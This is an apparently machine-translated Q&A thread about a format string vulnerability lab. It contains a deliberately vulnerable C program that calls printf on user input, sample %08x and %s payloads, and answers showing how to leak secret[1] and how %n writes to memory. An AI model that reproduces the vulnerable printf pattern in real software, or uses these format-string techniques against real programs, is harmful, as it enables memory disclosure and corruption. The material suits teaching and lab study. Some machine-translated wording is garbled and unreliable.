我正在使用格式字符串漏洞实验室,我们在其中提供了以下代码:
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1;
secret[1] = SECRET2;
printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
我们根本不应该修改代码。仅使用输入,我们有4个目标:崩溃程序,秘密打印值[1],修改秘密值[1],并将秘密值[1]修改为预定值。
我得到的样本输出是:
The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025
因此,通过输入8"%08x" s,我打印了秘密地址+4,然后我打印了a,b,c和d的地址 - 但是我从未给过它们一个值,他们不会指向任何地方,只显示0。接下来是我输入的十进制数,选择这样,以便' ffff'会清楚可见。接下来是secret [0]的地址,然后我进入程序中存储的其他值。
如果我输入AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
,则.0804a008将是.41414141,因为字符串输入中的A将存储在那里。
程序崩溃非常容易:字符串输入上的%s足够导致段错误。现在我需要秘密阅读这个值[1],但我完全迷失了。我尝试将地址放在堆栈上,方法是将它放在字符串的开头,如:\xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s
,但地址不会被推到任何地方而我只打印secret [0](对于好奇的人来说,这就是D')。我已经尝试了各种各样的地址,但过了一段时间后,我意识到我只是将所有这些都存储在A&#39出现的字符串中。他们没有被转换为十六进制或任何东西。
我在SA和其他地方看到过很多关于此代码的讨论,但我还没有看到有人谈论你如何秘密获取这些价值[1]。
非常感谢任何帮助。
答案 0 :(得分:4)
要访问secret [1],您必须输入它作为整数输入的地址。
Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
答案 1 :(得分:3)
诀窍是在用户指定的格式字符串中使用%n
说明符。 %n
表示获取到目前为止写入的字节数,将它们存储在下一个参数指向的地址。如果没有为printf
提供足够的参数,那么它写入的地址就是堆栈上接下来的任何值。如果您可以利用该地址,那么您实际上可以在内存中的任何位置写入一个4字节的整数。
// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);
// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory
printf("Hello, world!\n%n");
答案 2 :(得分:1)
您实际上可以直接在格式字符串中指定偏移量。
例如
$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog